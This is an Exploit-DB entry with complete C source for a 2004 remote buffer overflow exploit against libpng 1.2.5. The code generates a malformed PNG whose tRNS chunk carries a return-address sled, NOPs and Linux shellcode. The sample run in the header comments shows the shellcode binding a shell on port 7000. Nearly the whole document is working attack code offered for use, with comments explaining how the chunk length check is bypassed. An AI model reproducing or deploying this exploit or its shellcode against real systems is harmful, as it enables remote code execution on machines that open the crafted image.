Exploit-DB #389
Description: LibPNG Graphics Library - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-08-11
Author: infamous41md

Exploit:
/* 
 * exploit for libpng, tested on version 1.2.5 
 * infamous42md AT hotpop DOT com 
 * 
 * shouts to mitakeet (hope u patched :D) 
 * 
 * [n00b_at_localho.outernet] ./po 
 * Usage: ./po < retaddr > [ outfile ] 
 * 
 * -all u need to give is retaddr, the default file it creates is controlled by 
 * the define below, or u can pass a diff outfile name on the command line. 
 * the output is not an entire png, just enough to trigger the bug. i've also 
 * included a simple program to test with. 
 * 
 * [n00b_at_localho.outernet] netstat -ant | grep 7000 
 * [n00b_at_localho.outernet] gcc pnouch.c -Wall -o po 
 * [n00b_at_localho.outernet] gcc pngslap.c -o slapped -lz -lm lib/libpng12.so 
 * [n00b_at_localho.outernet] ./po 0xbffff8b0 
 * [n00b_at_localho.outernet] ./slapped britnay_spares_pr0n.png 
 * libpng warning: Missing PLTE before tRNS 
 * libpng warning: tRNS: CRC error 
 * [n00b_at_localho.outernet] netstat -ant | grep 7000 
 * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 
 * 
 */ 
#include <stdio.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <string.h> 
#include <unistd.h> 
#include <stdlib.h> 
 

#define OUTFILE "britnay_spares_pr0n.png" 
#define BS 0x1000 
#define ALIGN 0 
#define NOP 0x90 
#define NNOPS 100 
#define RETADDR_BYTES 300 
 

#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0) 
 

/* identifies a file as a png */ 
#define MAJIC_LEN sizeof(png_majic) 
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a }; 
 

/* 
 * appears first, gives len/width/etc. important part is setting the color type 
 * to 0x03, byte 10 of the IHDR data. that signfies that a PALLETE chunk should 
 * be present. but we dont have one, and that is how the len check is bypassed. 
 * the chunk len includes only the data, not the len field itself, or the id, or 
 * the crc at the end. these bytes are stolen from the advisory. 
 */ 
#define IHDR_LEN sizeof(png_ihdr) 
u_char png_ihdr[] = { 0x00, 0x00, 0x00, 0x0d, /* chunk len */ 
                    0x49, 0x48, 0x44, 0x52, /* chunk id */ 
                    0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x45, 
                    0x08, 0x03, 0x00, 0x00, 0x01, 
                    0x65, 0x33, 0x5a, 0xd6 /* chunk crc */ 
}; 
 

/* 
 * this is the tRNS type chunk, this is the evil chunk that actually contains 
 * the shellcode. 
 */ 
#define TRNS_LEN sizeof(png_trns_len_id) 
u_char png_trns_len_id[] = { 0x00, 0x00, 0x00, 0x00, /* chunk len filled in*/ 
                           0x74, 0x52, 0x4e, 0x53 /* chunk id */ 
                          /* begin chunk data */ 
                          /* retaddr, NOPS, shellcode, CRC will follow */ 
}; 
 

/* call them shell code */ 
#define SHELL_LEN strlen(sc) 
char sc[] = 
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" 
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" 
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" 
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" 
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" 
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" 
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" 
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 
 

 

 

int main(int argc, char **argv) 
{ 
    int fd = 0, len = 0, x = 0, chunk_len = 0; 
    char *filename = OUTFILE; 
    u_char buf[BS]; 
    u_long retaddr = 0; 
 

    if(argc < 2){ 
        fprintf(stderr, "Usage: %s < retaddr > [ outfile ]\n", argv[0]); 
        return EXIT_FAILURE; 
    } 
    if(argc > 2) 
        filename = argv[2]; 
 

    memset(buf, 0, BS); 
    sscanf(argv[1], "%lx", &retaddr); 
 

    /* create buffer: 
     * png id - png ihdr - png trns - retaddr - NOPS - shell - crc(don't need) 
     */ 
    memcpy(buf, png_majic, MAJIC_LEN); 
    len += MAJIC_LEN; 
    memcpy(buf+len, png_ihdr, IHDR_LEN); 
    len += IHDR_LEN; 
    memcpy(buf+len, png_trns_len_id, TRNS_LEN); 
    len += TRNS_LEN; 
 

    for(x = 0; x < RETADDR_BYTES-3; x += 4) 
        memcpy(buf+len+x+ALIGN, &retaddr, sizeof(retaddr)); 
    x += ALIGN; 
    len += x; 
    memset(buf+len, NOP, NNOPS); 
    len += NNOPS; 
    memcpy(buf+len, sc, SHELL_LEN); 
    len += SHELL_LEN; 
 

    /* length of chunk data */ 
    chunk_len = x + NNOPS + SHELL_LEN; 
    *(u_long *)(buf+MAJIC_LEN+IHDR_LEN) = htonl(chunk_len); 
 

    /* include the crc */ 
    len += sizeof(u_long); 
 

    /* create the file */ 
    if( (fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0666)) < 0) 
        die("open"); 
    if(write(fd, buf, len) != len) 
        die("write"); 
    close(fd); 
     
    return 0; 
}

// milw0rm.com [2004-08-11]